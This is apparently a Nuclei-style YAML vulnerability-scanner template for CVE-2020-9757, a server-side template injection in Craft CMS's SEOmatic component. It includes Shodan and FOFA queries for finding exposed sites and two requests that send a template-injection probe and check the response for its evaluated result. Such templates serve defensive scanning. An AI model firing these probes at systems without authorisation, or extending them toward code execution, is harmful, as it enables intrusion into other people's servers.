61 lines
2.2 KiB
YAML
61 lines
2.2 KiB
YAML
id: CVE-2020-9757
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info:
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name: Craft CMS < 3.3.0 - Server-Side Template Injection
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author: dwisiswant0
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severity: critical
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description: Craft CMS before 3.3.0 is susceptible to server-side template injection via the SEOmatic component that could lead to remote code execution via malformed data submitted to the metacontainers controller.
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impact: |
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Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the server.
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remediation: |
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Upgrade Craft CMS to version 3.3.0 or higher to mitigate this vulnerability.
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reference:
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- https://github.com/nystudio107/craft-seomatic/blob/v3/CHANGELOG.md
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- https://github.com/giany/CVE/blob/master/CVE-2020-9757.txt
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- https://github.com/nystudio107/craft-seomatic/commit/65ab659cb6c914c7ad671af1e417c0da2431f79b
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- https://github.com/nystudio107/craft-seomatic/commit/a1c2cad7e126132d2442ec8ec8e9ab43df02cc0f
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- https://nvd.nist.gov/vuln/detail/CVE-2020-9757
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
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cvss-score: 9.8
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cve-id: CVE-2020-9757
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cwe-id: CWE-74
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epss-score: 0.96294
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epss-percentile: 0.99536
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cpe: cpe:2.3:a:craftcms:craft_cms:*:*:*:*:*:*:*:*
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metadata:
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max-request: 2
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vendor: craftcms
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product: craft_cms
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shodan-query:
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- cpe:"cpe:2.3:a:craftcms:craft_cms"
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- http.html:craftcms
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- http.favicon.hash:-47932290
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fofa-query:
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- icon_hash=-47932290
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- body=craftcms
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publicwww-query: craftcms
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tags: cve,cve2020,ssti,craftcms
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http:
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- method: GET
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path:
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- "{{BaseURL}}/actions/seomatic/meta-container/meta-link-container/?uri={{228*'98'}}"
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- "{{BaseURL}}/actions/seomatic/meta-container/all-meta-containers?uri={{228*'98'}}"
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skip-variables-check: true
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matchers-condition: and
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matchers:
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- type: word
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part: body
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words:
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- "MetaLinkContainer"
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- "canonical"
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- "22344"
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condition: and
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- type: status
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status:
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- 200
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# digest: 4a0a00473045022100f7ef2cb495dbf326835dc4faaefaa52d8e50ce74b6b84eaf5ea7d7b21b34e961022066b7375c3e04cde7e47ec257014820f656e1a05434cc1b60671beb65b7695180:922c64590222798bb761d5b6d8e72950 |